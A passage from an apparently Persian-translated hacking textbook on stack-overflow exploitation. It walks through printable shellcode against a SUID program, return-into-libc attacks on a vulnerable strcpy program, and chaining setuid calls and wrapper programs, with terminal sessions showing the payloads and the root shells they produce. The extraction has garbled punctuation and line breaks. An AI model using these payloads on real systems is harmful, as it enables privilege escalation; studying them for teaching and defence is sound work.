ﻟـﺬا ﻋﻤـﻼ ﻓـﻀﺎﯾﯽ ﺑـﺮای، ﺑﺎﯾﺖ ﻃـﻮل دارد40 اوﻟﯿﻦ آرﮔﻮﻣﺎن ﻣﮑﺎﻧﯽ اﺳﺖ ﮐﻪ ﺳﺮرﯾﺰ رخ ﻣﯽ دﻫﺪ و اﯾﻦ آرﮔﻮﻣﺎن ﺗﻨﻬﺎ
! ﺷﺎﯾﺪ ﻫﻢ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ.ﮐﺪ وﺟﻮد ﻧﺪارد-ﻗﺮارﮔﯿﺮی ﺷﻞ
ﺑﺮای دﯾﺒﺎگ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ و ﺑﺮرﺳﯽ ﺣﺎﻓﻈﻪ ﭘﺸﺘﻪ ﺗﺼﻮﯾﺮ واﺿﺢ ﺗﺮی را از وﺿـﻌﯿﺖ ﻣﻮﺟـﻮد ﻣـﻨﻌﮑﺲGDB اﺳﺘﻔﺎده از
.ﺧﻮاﻫﺪ ﮐﺮد
$ gcc -g -o cleared_stack cleared_stack.c
$ sudo chown root.root cleared_stack
$ sudo chmod u+s cleared_stack
$ gdb -q ./cleared_stack
(gdb) list
4 strcpy(buffer, data);
5 }
6
7 int main(int argc, char *argv[], char *envp[])
8 {
9 int i; 10
11 // clearing out the stack memory
12 // clearing all arguments except the first
13 memset(argv[0], 0, strlen(argv[0]));
(gdb)
14 for(i=2; argv[i] != 0; i++)
15 memset(argv[i], 0, strlen(argv[i]));
103
16 // clearing all environment variables
17 for(i=0; envp[i] != 0; i++)
18 memset(envp[i], 0, strlen(envp[i]));
19
20 // If the first argument is too long, exit
21 if(strlen(argv[1]) > 40)
22 {
23 printf("first arg is too long.\n");
(gdb) break 21
Breakpoint 1 at 0x8048516: file cleared_stack.c, line 21.
(gdb) run test
Starting program: /hacking/cleared_stack test
105
gRRtP\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-xbyoP-Ai6A-Zx%Z-kx%MP-nnnn-
eI3e-fHM-P-
zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-AEA3-
P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP -> /hacking/cleared_stack
$
اﮐﻨﻮن ﺗﻨﻬﺎ ﻣﺤﺎﺳﺒﻪ ﻣﮑﺎن اﺑﺘﺪای ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ و ﺑﻌﺪ ﺧﺮوج از ﺑﺮﻧﺎﻣﻪ ﺑﺎﻗﯿﻤﺎﻧﺪه اﺳﺖ .دﯾﺒﺎﮔﺮ ﻧﺸﺎن داد ﮐﻪ اﻧﺘﻬـﺎی
ﻧﺎم ﺑﺮﻧﺎﻣﻪ در آدرس 0xbffffffbﺑﻮد .ﭼﻮن اﯾﻦ آدرس اﻧﺘﻬﺎی ﭘﺸﺘﻪ اﺳﺖ ﻟﺬا ﺗﻐﯿﯿﺮ ﻧﺨﻮاﻫﺪ ﮐﺮد ،اﻣﺎ در ﻋﻮض اﺑﺘﺪای
ﻧﺎم ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﯾﮏ آدرس ﭘﺎﺋﯿﻦ ﺗﺮ ﺣﺎﻓﻈﻪ اﻧﺘﻘﺎل ﺧﻮاﻫﺪ ﯾﺎﻓﺖ ) .(shiftﭼﻮن ﻃﻮل ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ 195ﺑﺎﯾﺖ اﺳـﺖ،
ﻟﺬا اﺑﺘﺪای ﻧﺎم ﺑﺮﻧﺎﻣﻪ ﺑﺎﯾﺪ در آدرس 0xbfffff38ﻗﺮار ﮔﯿﺮد.42
$ pcalc 0xfffb - 195
65336 0xff38 0y1111111100111000
$ ./%R6HJ%-H%1-UUUU-MXXv-gRRtP\\-ffff-yLXy-hAt_P-05yp--MrvP-999t-4dKd-
xbyoP-Ai6A-
Zx%Z-kx%MP-nnnn-eI3e-fHM-P-zGdd-p6C6-x0zeP-22d2-5Ab5-52Y7P-N8y8-S8r8P-ooOo-
AEA3-
P%%%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP 'perl -e 'print
'';"\x38\xff\xff\xbf"x8
sh-2.05b# whoami
root
sh-2.05b#
ﺷﻞ-ﮐﺪ ﻗﺎﺑﻞ ﭼﺎپ ﺗﮑﻨﯿﮑﯽ اﺳﺖ ﮐﻪ ﻣﯽ ﺗﻮاﻧﺪ درﻫﺎﯾﯽ را ﺑﻪ روی ﻧﻔﻮذﮔﺮ ﺑﺎز ﮐﻨﺪ .اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ ،ﺗﻨﻬﺎ ﺑﻠـﻮک ﻫـﺎﯾﯽ ﺑـﺎ
ﺗﺮﮐﯿﺒﺎت و ﮐﺎرﺑﺮدﻫﺎی اﺣﺘﻤﺎﻟﯽِ ﺑﺴﯿﺎر زﯾﺎد ﻫﺴﺘﻨﺪ .ﮐﺎرﺑﺮد اﯾﻦ ﺗﮑﻨﯿﮏ ﻫﺎ ﺑﻪ اﺑﺘﮑﺎر و ﺧﻼﻗﯿـﺖ ﺧـﻮد ﺷـﻤﺎ ﻧﯿـﺰ ﺑـﺴﺘﮕﯽ
دارد.
ﺑﺴﯿﺎری از ﺑﺮﻧﺎﻣﻪ ﻫﺎ ﻧﯿﺎز ﺑﻪ اﺟﺮا ﭼﯿﺰی روی ﭘﺸﺘﻪ ﻧﺪارد ،ﻟﺬا ﯾﮏ دﻓﺎع ﻃﺒﯿﻌﯽ در ﺑﺮاﺑﺮ اﮐـﺴﭙﻠﻮﯾﺖ ﻫـﺎی ﺳـﺮرﯾﺰ ﺑـﺎﻓﺮ
ﺣﺼﻮل اﻃﻤﯿﻨﺎن از ﻏﯿﺮﻗﺎﺑﻞ اﺟﺮا ﺑﻮدن ) (non-executableﭘﺸﺘﻪ اﺳﺖ .ﺑﺎ اﻧﺠﺎم اﯾﻦ ﻋﻤﻞ ،ﺷﻞ-ﮐـﺪ در ﻫـﺮ ﻣﮑـﺎﻧﯽ از
ﭘﺸﺘﻪ ﮐﻪ ﻣﻮﺟﻮد ﺑﺎﺷﺪ ﺑﻼاﺳﺘﻔﺎده ﺧﻮاﻫﺪ ﺑﻮد .اﯾﻦ ﻧﻮع از ﺗﮑﻨﯿﮏ ﻫﺎی دﻓـﺎﻋﯽ ﮐـﻪ ﻫـﺮ روز ﻣﺤﺒـﻮب ﺗـﺮ ﻫـﻢ ﻣـﯽ ﺷـﻮد،
ﺑﺴﯿﺎری از اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎ را ﻧﺎﮐﺎم ﻣﯽ ﮔﺬارد.
اﻟﺒﺘﻪ ﺗﮑﻨﯿﮑﯽ وﺟﻮد دارد ﮐﻪ ﻣﯽ ﺗﻮان آﻧﺮا ﺑﺮای اﮐﺴﭙﻠﻮﯾﺖ ﮐﺮدن ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﻣﻮﺟﻮد در ﯾﮏ ﻣﺤﯿﻂ ﭘﺸﺘﻪ ﻏﯿﺮﻗﺎﺑﻞ اﺟﺮا
ﺑﮑﺎر ﺑﺮد .اﯾﻦ ﺗﮑﻨﯿﮏ ﺗﺤﺖ ﻋﻨﻮان ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ ) Cﯾﺎ (Returning into LibCﺷﻨﺎﺧﺘﻪ ﻣـﯽ ﺷـﻮد .ﮐﺘﺎﺑﺨﺎﻧـﻪ
) Cﯾﺎ ،(LIBCﯾﮏ ﮐﺘﺎﺑﺨﺎﻧﻪ اﺳﺘﺎﻧﺪارد Cاﺳﺖ ﮐﻪ ﺗﻮاﺑﻊ اﺻﻠﯽ ﻣﺨﺘﻠﻔﯽ را ﺷﺎﻣﻞ ﻣﯽ ﺷﻮد ،ﻣﺜﻞ )( printfو )( .exitاﯾـﻦ
ﺗﻮاﺑﻊ ﺑﻪ اﺷﺘﺮاک ﮔﺬاﺷﺘﻪ ﺷﺪه اﻧﺪ ،ﻟﺬا ﻫﺮ ﺑﺮﻧﺎﻣﻪ ﮐﻪ از ﺗﺎﺑﻊ )( printfاﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ ،روﻧﺪ اﺟﺮا را ﺑـﻪ ﻣﮑـﺎن ﻣﺮﺑﻮﻃـﻪ
در libcﻫﺪاﯾﺖ ﻣﯽ ﮐﻨﺪ .ﯾﮏ اﮐﺴﭙﻠﻮﯾﺖ ﻫﻢ دﻗﯿﻘﺎ ﻣﯽ ﺗﻮاﻧﺪ ﻫﻤﯿﻦ ﮐﺎر را اﻧﺠﺎم داده و روﻧﺪ اﺟـﺮای ﺑﺮﻧﺎﻣـﻪ را ﺑـﻪ ﯾـﮏ
ﺗﺎﺑﻊ ﻣﺸﺨﺺ در libcﻫﺪاﯾﺖ ﮐﻨﺪ .ﻋﺎﻣﻠﯿﺖ اﮐﺴﭙﻠﻮﯾﺖ ﺑﻪ ﺗﻮاﺑﻊ ﻣﻮﺟﻮد در libcﻣﺤﺪود اﺳـﺖ ،ﮐـﻪ اﯾـﻦ ﻣﺤـﺪودﯾﺖ در
ﻣﻘﺎﯾﺴﻪ ﺑﺎ ﺷﻞ-ﮐﺪ دﻟﺨﻮاه ﺗﻔﺎوت و ﻣﺤﺪودﯾﺖ ﺑﺰرﮔﯽ ﺗﻠﻘﯽ ﻣﯽ ﺷﻮد .ﺑﻪ ﻫﺮ ﺣﺎل ﻫﯿﭻ ﭼﯿﺰ روی ﭘﺸﺘﻪ اﺟﺮا ﻧﻤﯽ ﺷﻮد.
ﯾﮑﯽ از ﺳﺎده ﺗﺮﯾﻦ ﺗﻮاﺑﻊ libcﮐﻪ ﻣﯽ ﺗﻮان ﺑﻪ آن ﺑﺎزﮔﺸﺖ ،ﺗﺒﺎع )( systemاﺳـﺖ .اﯾـﻦ ﺗـﺎﺑﻊ ﯾـﮏ آرﮔﻮﻣـﺎن واﺣـﺪ را
درﯾﺎﻓﺖ ﮐﺮده و آن آرﮔﻮﻣﺎن را ﺑﺎ /bin/shاﺟﺮا ﻣﯽ ﮐﻨﺪ .در اﯾﻨﺠﺎ از ﺑﺮﻧﺎﻣـﻪ آﺳـﯿﺐ ﭘـﺬﯾﺮ vuln2.cﺑـﻪ ﻋﻨـﻮان ﻣﺜـﺎل
اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﯿﻢ.
42
0xbffffffb – 195 = 0xbfffff38
106
اﯾﺪه ﻧﻬﺎﯾﯽ اﯾﻦ اﺳﺖ ﮐﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ را ﺑﺎ ﺑﺮﮔﺸﺖ ﺑﻪ ﺗﺎﺑﻊ ﮐﺘﺎﺑﺨﺎﻧﻪ ای )( systemو ﺑـﺪون اﺟـﺮا ﮐـﺮدن ﭼﯿـﺰی
روی ﭘﺸﺘﻪ ،ﻣﺠﺒﻮر ﺑﻪ ﺗﻮﻟﯿﺪ ﯾﮏ ﭘﻮﺳﺘﻪ ﮐﻨﯿﻢ .اﮔﺮ آرﮔﻮﻣﺎن " "/bin/shرا ﺑﻪ اﯾﻦ ﺗﺎﺑﻊ ﺑﺪﻫﯿﻢ ،ﯾﮏ ﭘﻮﺳﺘﻪ ﺗﻮﻟﯿﺪ ﺧﻮاﻫﺪ
ﺷﺪ.
$ cat vuln2.c
)][int main(int argc, char *argv
{
;]char buffer[5
;)]strcpy(buffer, argv[1
;return 0
}
$ gcc -o vuln2 vuln2.c
$ sudo chown root.root vuln2
$ sudo chmod u+s vuln2
اﺑﺘﺪای ﻣﮑﺎن ﺗﺎﺑﻊ )( systemرا ﺑﺎﯾﺪ در libcﺗﻌﯿﯿﻦ ﮐﺮد .اﯾﻦ ﻣﮑﺎن در ﻫﺮ ﺳﯿﺴﺘﻢ ﻣﺘﻔﺎوت اﺳﺖ ،اﻣﺎ اﯾﻦ ﻣﮑﺎن ﺗﺎ زﻣﺎن
ﮐﺎﻣﭙﺎﯾﻞ ﺷﺪن ﻣﺠﺪد libcﯾﮑﺴﺎن ﺑﺎﻗﯽ ﺧﻮاﻫﻨﺪ ﻣﺎﻧﺪ .ﯾﮑﯽ از آﺳﺎن ﺗﺮﯾﻦ راه ﻫﺎ ﺟﻬﺖ ﯾﺎﻓﺘﻦ آدرس ﯾﮏ ﺗـﺎﺑﻊ ﮐﺘﺎﺑﺨﺎﻧـﻪ
ای ،اﯾﺠﺎد ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﺳﺎﺧﺘﮕﯽ و ﻫﺪف دار ) (dummyو دﯾﺒﺎگ ﮐﺮدن آن اﺳﺖ ،در زﯾـﺮ اﯾـﻦ ﺑﺮﻧﺎﻣـﻪ را ﻣـﺸﺎﻫﺪه ﻣـﯽ
ﻧﻤﺎﯾﯿﺪ:
$ cat > dummy.c
)(int main
{
;)(system
}
$ gcc -o dummy dummy.c
$ gdb -q dummy
(gdb) break main
Breakpoint 1 at 0x8048406
(gdb) run
Starting program: /hacking/dummy
دﻗﯿﻘﺎ ﺑﻌﺪ از آدرس ﺗﺎﺑﻊ ﮐﺘﺎﺑﺨﺎﻧﻪ ﻣﻮرد ﻧﻈﺮ ،آدرس ﺟﺎﯾﯽ ﮐﻪ روﻧﺪ اﺟﺮا ﺑﺎﯾﺪ ﭘﺲ ﻓﺮاﺧﻮاﻧﯽ libcﺑﻪ آﻧﺠﺎ ﺑﺎزﮔﺮدد ﻗﺮار
ﮔﺮﻓﺘﻪ اﺳﺖ )آدرس ﺑﺮﮔﺸﺖ( .ﭘﺲ از آدرس ﺑﺮﮔﺸﺖ ﻧﯿﺰ ﺗﻤﺎم آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ ﺑﻪ ﺗﺮﺗﯿﺐ ﻗﺮار ﮔﺮﻓﺘﻪ اﻧﺪ.
در اﯾﻦ ﻣﻮرد ﻣﻬﻢ ﻧﯿﺴﺖ ﮐﻪ ﭘﺲ از ﻓﺮاﺧﻮاﻧﯽ libcروﻧﺪ اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﮐﺠﺎ ﺑﺎز ﻣﯿﮕﺮدد ،ﭼﺮا ﮐﻪ ﯾﮏ ﭘﻮﺳـﺘﻪ ﺗﻌـﺎﻣﻠﯽ
ﺑﺮای ﻣﺎ ﺑﺎز ﺧﻮاﻫﺪ ﺷﺪ .ﺑﻨﺎﺑﺮاﯾﻦ از اﯾﻦ 4ﺑﺎﯾﺖ ﻣﯽ ﺗﻮان ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺟﺎﻧﮕﻬﺪار ﺑﺮای ﻣﻘﺪار " "FAKEاﺳﺘﻔﺎده ﮐـﺮد.
ﺗﻨﻬﺎ ﯾﮏ آرﮔﻮﻣﺎن ﺑﺮای ﺗﺎﺑﻊ وﺟﻮد دارد و آن ﯾﮏ اﺷﺎرﮔﺮ ﺑﻪ رﺷﺘﻪ /bin/shاﺳﺖ .اﯾﻦ رﺷﺘﻪ را ﻣﯽ ﺗﻮان در ﻫﺮ ﻣﮑـﺎﻧﯽ
از ﺣﺎﻓﻈﻪ ذﺧﯿﺮه ﮐﺮد ،ﻣﺜﻼ ﯾﮏ ﻣﺘﻐﯿﺮ ﻣﺤﯿﻄﯽ اﻧﺘﺨﺎب ﻣﻨﺎﺳﺒﯽ اﺳﺖ.
107
"$ export BINSH="/bin/sh
$ ./gtenv BINSH
BINSH is located at 0xbffffc40
$
ﭘﺲ آدرس ﺗﺎﺑﻊ )( systemﺑﺮاﺑﺮ ﺑﺎ 0x42049e54اﺳﺖ و آدرس رﺷﺘﻪ " "/bin/shﻧﯿﺰ ﺑﻪ ﻫﻨﮕﺎم اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺑﺮاﺑﺮ
ﺑﺎ 0xbffffc40ﺧﻮاﻫﺪ ﺑـﻮد .ﯾﻌﻨـﯽ آدرس ﺑﺮﮔـﺸﺖ روی ﭘـﺸﺘﻪ ﺑﺎﯾـﺪ ﺑـﺎ ﯾـﮏ ﺳـﺮی آدرس ﺟﺎﯾﻨﻮﯾـﺴﯽ ﺷـﻮد ﮐـﻪ ﺑـﺎ
0x42049e54ﺷﺮوع ﺷﺪه ،ﺑﻪ دﻧﺒﺎل آن FAKEآﻣﺪه )ﭼـﻮن ﻣﻬـﻢ ﻧﯿـﺴﺖ ﮐـﻪ ﭘـﺲ از ﻓﺮاﺧـﻮاﻧﯽ )( systemروﻧـﺪ
اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﮐﺠﺎ ﺑﺎز ﻣﯽ ﮔﺮدد( و در اﻧﺘﻬﺎ ﻧﯿﺰ 0xbffffc40ﻗﺮار ﮔﺮﻓﺘﻪ ﺑﺎﺷﺪ.
در آزﻣﺎﯾﺶ ﻫﺎﯾﯽ ﮐﻪ ﻗﺒﻼ روی ﺑﺮﻧﺎﻣﻪ vuln2اﻧﺠﺎم داده ﺑﻮدﯾﻢ ﺑﻪ اﯾﻦ ﻧﺘﯿﺠﻪ رﺳﯿﺪﯾﻢ ﮐـﻪ آدرس ﺑﺮﮔـﺸﺖ روی ﭘـﺸﺘﻪ
ﺑﻮاﺳﻄﻪ ﻫﺸﺖ ﮐﻠﻤﻪ از ورودی ﺑﺮﻧﺎﻣﻪ ﺟﺎﯾﻨﻮﯾﺴﯽ ﻣﯽ ﺷﻮد ،ﻟﺬا ﻫﻔﺖ ﮐﻠﻤـﻪ از داده ﻫـﺎی ﺳـﺎﺧﺘﮕﯽ ) 43(dummyﺻـﺮﻓﺎ
ﺑﺮای ﭘﺮ ﮐﺮدن ﻓﻀﺎ ﺑﻪ ﮐﺎر ﻣﯽ روﻧﺪ.
$ ./vuln2 'perl -e 'print "ABCD"x7 .
'';""\x54\x9e\x04\x42FAKE\x40\xfc\xff\xbf
sh-2.05a$ id
)uid=500(matrix) gid=500(matrix) groups=500(matrix
sh-2.05a$ exit
exit
Segmentation fault
$ ls -l vuln2
-rwsrwxr-x 1 root root 13508 Apr 16 22:10 vuln2
$
ﻓﺮاﺧﻮاﻧﯽ )( systemﮐﺎر ﮐﺮد ،اﻣﺎ اﮔﺮﭼﻪ ﺑﺮﻧﺎﻣﻪ vuln2ﺑﻪ ﺻﻮرت suid rootﺑﻮد ،وﻟﯽ ﭘﻮﺳﺘﻪ رﯾﺸﻪ ﺑﻪ ﻣﺎ اﻋﻄـﺎ ﻧـﺸﺪ.
دﻟﯿﻞ آن اﺳﺖ ﮐﻪ ﺗﺎﺑﻊ )( systemﻫﻤﻪ ﭼﯿﺰ را از ﻃﺮﯾﻖ /bin/shاﺟﺮا ﻣﯽ ﮐﻨﺪ و اﯾﻦ ﻣﺴﺌﻠﻪ ﺳﺒﺐ ﺣﺬف ﺳﻄﺢ اﺧﺘﯿﺎرات
ﻣﯽ ﮔﺮدد .ﺑﺎﯾﺪ راﻫﯽ ﺑﺮای ﻓﺎﺋﻖ آﻣﺪن ﺑﺮ اﯾﻦ ﻣﺸﮑﻞ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ.
در ﭘﺴﺘﯽ در ،BugTraqآﻗﺎی Solar Designerزﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی libcرا ﭘﯿﺸﻨﻬﺎد ﮐﺮدﻧﺪ ،ﺑﻨﺎﺑﺮاﯾﻦ ﻗﺒـﻞ
)( systemﺗﺎﺑﻊ )( setuidﺑﺮای ﺑﺎزﯾﺎﺑﯽ ﺳﻄﺢ اﺧﺘﯿﺎرات ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﺷﻮد .اﯾﻦ زﻧﺠﯿﺮه را ﻣﯽ ﺗـﻮان ﺑـﺎ ﺳـﻮ اﺳـﺘﻔﺎده از
ﻣﻘﺪار آدرس ﺑﺮﮔﺸﺖ ﮐﻪ ﻣﻮرد ﻏﻔﻠﺖ واﻗﻊ ﺷﺪ اﯾﺠﺎد ﮐﺮد .ﺳﺮی آدرس ﻫﺎی زﯾﺮ ﯾﮏ ﻓﺮاﺧـﻮاﻧﯽ را از ﺗـﺎﺑﻊ )(setuid
ﺑﻪ )( systemزﻧﺠﯿﺮه ﻣﯽ ﮐﻨﻨﺪ ) (chainﮐﻪ در ﻋﮑﺲ زﯾﺮ ﻣﺸﻬﻮد اﺳﺖ:
ﻓﺮاﺧﻮاﻧﯽ )( setuidﺑﺎ آرﮔﻮﻣﺎن ﻫﺎﯾﺶ اﺟﺮا ﻣﯽ ﮔﺮدد .ﭼﻮن اﯾﻦ ﺗﺎﺑﻊ ﻓﻘﻂ ﯾـﮏ آرﮔﻮﻣـﺎن اﺣﺘﯿـﺎج دارد ،ﻟـﺬا آرﮔﻮﻣـﺎن
ﻣﺮﺑﻮط ﺑﻪ ﻓﺮاﺧﻮاﻧﯽ )() systemﮐﻠﻤﻪ ﺑﻌﺪی( ﻧﺎدﯾﺪه ﮔﺮﻓﺘـﻪ ﻣـﯽ ﺷـﻮد .ﭘـﺲ از اﺗﻤـﺎم ﻓﺮاﺧـﻮاﻧﯽ ،روﻧـﺪ اﺟـﺮا ﺑـﻪ ﺗـﺎﺑﻊ
)( systemﺑﺎز ﻣﯽ ﮔﺮدد ﮐﻪ ﻃﺒﻖ اﻧﺘﻈﺎر از آرﮔﻮﻣﺎن ﺧﻮد اﺳﺘﻔﺎده ﮐﺮده و اﺟﺮا ﻣﯽ ﺷﻮد.
ﻧﻈﺮﯾﻪ ی زﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮﻧﯽ ﻫﺎ ﮐﺎﻣﻼ زﯾﺮﮐﺎﻧﻪ اﺳﺖ ،اﻣـﺎ ﻣـﺸﮑﻼت ذاﺗـﯽ دﯾﮕـﺮی در راﺑﻄـﻪ ﺑـﺎ اﯾـﻦ روش ﺟﻬـﺖ
ﺑﺎزﯾﺎﺑﯽ ﺳﻄﺢ اﺧﺘﯿﺎرات وﺟﻮد دارد .آرﮔﻮﻣﺎن )( setuidﺑﻪ ﺻﻮرت ﯾﮏ ﻋﺪد ﺻﺤﯿﺢ ﺑﺪون ﻋﻼﻣﺖ ﻣﻮرد ﻧﻈﺮ اﺳـﺖ ،ﻟـﺬا
ﺑﺮای ﺑﺎزﯾﺎﺑﯽ ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ ﺑﺎﯾﺪ اﯾﻦ ﻣﻘﺪار ﺑﺮاﺑﺮ ﺑﺎ 0x00000000ﺑﺎﺷﺪ .ﻟﺬا ﻣﺘﺎﺳﻔﺎﻧﻪ ﺑﺎز ﻫﻢ ﺑـﻪ ﻣـﺸﮑﻞ ﺑﺎﯾـﺖ
ﻫﺎی ﭘﻮچ ﺑﺮ ﻣﯽ ﺧﻮرﯾﻢ ،ﭼﺮا ﮐﻪ ﺑﺎﻓﺮ ﻣﺎ ﻫﻨﻮز ﯾﮏ رﺷﺘﻪ ﮐﻪ ﺑﺎﯾﺖ ﭘﻮچ ﻧﺸﺎن دﻫﻨﺪه اﻧﺘﻬـﺎی آن اﺳـﺖ .ﺑـﺮای اﺟﺘﻨـﺎب از
ﺑﺎﯾﺖ ﻫـﺎی ﭘـﻮچ ،ﮐﻤﺘـﺮﯾﻦ ﻣﻘـﺪار ﻗﺎﺑـﻞ اﺳـﺘﻔﺎده ﺑـﺮای اﯾـﻦ آرﮔﻮﻣـﺎن 0x01010101اﺳـﺖ ﮐـﻪ ﻣﻘـﺪار دﺳـﯿﻤﺎل آن
43ﻣﻨﻈﻮر داده ﻫﺎﯾﯽ اﺳﺖ ﮐﻪ ﻣﻘﺪار آﻧﻬﺎ ﻣﻬﻢ ﻧﯿﺴﺖ ،ﺑﻠﮑﻪ ﻓﻘﻂ ﺑﺮای ﭘﺮ ﮐﺮدن ﯾﮏ ﻓﻀﺎ ﺑﻪ ﮐﺎر ﻣﯽ روﻧﺪ.
108
16843009اﺳﺖ .اﮔﺮﭼﻪ ﺳﻄﺢ اﺧﺘﯿﺎر ﻧﺘﯿﺠﻪ ﺷﺪه ﻣﻄﻠﻮب ﻣﺎ ﻧﯿﺴﺖ ،اﻣﺎ اﯾﺪه زﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮاﻧﯽ ﻫﺎ ﺑﺮاﯾﻤﺎن ﻣﻬـﻢ
و ﺑﺎ ارزش اﺳﺖ ،ﻟﺬا ﺑﺎﯾﺪ راه ﻫﺎی دﯾﮕﺮی را اﻣﺘﺤﺎن ﮐﻨﯿﻢ.
$ cat > dummy.c
} ;)(int main() { setuid
$ gcc -o dummy dummy.c
$ gdb -q dummy
(gdb) break main
Breakpoint 1 at 0x8048406
(gdb) run
Starting program: /hacking/dummy
ﯾﮏ راه ﺳﺎده و ﻣﻮﺛﺮ اﯾﺠﺎد و اﺳﺘﻔﺎده از ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨﺪه ) (wrapperاﺳﺖ .ﺑﺮﻧﺎﻣـﻪ ﭘﻮﺷـﺶ دﻫﻨـﺪه ﺷﻨﺎﺳـﻪ
ﮐﺎرﺑﺮی )و ﺷﻨﺎﺳﻪ ﮔﺮوه( را ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ ﻗﺮار داده و ﺳﭙﺲ ﯾﮏ ﭘﻮﺳﺘﻪ را ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ .اﯾﻦ ﺑﺮﻧﺎﻣـﻪ ﺑـﻪ ﺳـﻄﺢ اﺧﺘﯿـﺎر
ﺧﺎﺻﯽ اﺣﺘﯿﺎج ﻧﺪارد ،ﭼﺮا ﮐﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ suid rootآﻧﺮا اﺟﺮا ﺧﻮاﻫﺪ ﮐﺮد.
در ﺧﺮوﺟﯽ زﯾﺮ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨﺪه اﯾﺠﺎد ،ﮐﺎﻣﭙﺎﯾﻞ ﮔﺸﺘﻪ و ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار اﺳﺖ.
$ cat > wrapper.c
)(int main
{
;)setuid(0
;)setgid(0
;)"system("/bin/sh
}
$ gcc -o /hacking/wrapper wrapper.c
"$ export WRAPPER="/hacking/wrapper
$ ./gtenv WRAPPER
WRAPPER is located at 0xbffffc71
$ ./vuln2 'perl -e 'print "ABCD"x7 .
'';""\x54\x9e\x04\x42FAKE\x71\xfc\xff\xbf
sh-2.05a$ id
)uid=500(matrix) gid=500(matrix) groups=500(matrix
sh-2.05a$ exit
exit
Segmentation fault
$
109
ﻫﻤﺎن ﻃﻮر ﮐﻪ ﺧﺮوﺟﯽ ﺑﺎﻻ ﻧﺸﺎن ﻣﯽ دﻫﺪ ،ﺳﻄﺢ اﺧﺘﯿﺎرات ﻫﻨﻮز ﻫﻢ ﺣﺬف ﻣﯽ ﺷﻮﻧﺪ ) .(dropدﻟﯿﻞ آﻧﺮا ﻣﯽ داﻧﯿﺪ؟
ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨﺪه ﺑﺎ اﺳﺘﻔﺎده از ﺗﺎﺑﻊ )( systemاﺟﺮا ﻣﯽ ﺷﻮد و اﯾﻦ ﺗﺎﺑﻊ ﻧﯿﺰ ﻫﻤﻪ ﭼﯿﺰ را از ﻃﺮﯾﻖ /bin/shاﺟﺮا ﻣﯽ
ﮐﻨﺪ و ﻫﻤﯿﻦ اﻣﺮ ﻣﻮﺟﺐ ﺣﺬف ﺷﺪن ﺳﻄﺢ اﺧﺘﯿﺎر ﺑﻪ ﻫﻨﮕﺎم اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨﺪه ﻣﯽ ﮔﺮدد .ﺑﻪ ﻫﺮ ﺣﺎل ﯾﮏ ﺗﺎﺑﻊ
اﺟﺮای ﺻﺮﯾﺢ ﺗﺮ ﻣﺜﻞ )( execlاز /bin/shاﺳﺘﻔﺎده ﻧﻤﯽ ﮐﻨﺪ و ﻟـﺬا ﺳـﻄﺢ اﺧﺘﯿـﺎرات ﻧﯿـﺰ ﻧﺒﺎﯾـﺴﺘﯽ ﺣـﺬف ﺷـﻮﻧﺪ .اﯾـﻦ
ﺗﺎﺛﯿﺮات را ﻣﯽ ﺗﻮان ﺑﺎ ﭼﻨﺪ ﺑﺮﻧﺎﻣﻪ آزﻣﺎﯾﺸﯽ ﺑﻪ ﺳﺮﻋﺖ ﺑﺮرﺳﯽ و ﺗﺎﺋﯿﺪ ﮐﺮد.
$ cat > test.c
)(int main
{
;)"system("/hacking/wrapper
}
$ gcc -o test test.c
$ sudo chown root.root test
$ sudo chmod u+s test
$ ls -l test
-rwsrwxr-x 1 root root 13511 Apr 17 23:29 test
$ ./test
sh-2.05a$ id
)uid=500(matrix) gid=500(matrix) groups=500(matrix
sh-2.05a$ exit
exit
$
$ cat > test2.c
)(int main
{
;)execl("/hacking/wrapper", "/hacking/wrapper", 0
}
$ gcc -o test2 test2.c
$ sudo chown root.root test2
$ sudo chmod u+s test2
$ ls -l test2
-rwsrwxr-x 1 root root 13511 Apr 17 23:33 test2
$ ./test2
)sh-2.05a# id uid=0(root) gid=0(root) groups=500(matrix
sh-2.05a# exit
exit
$
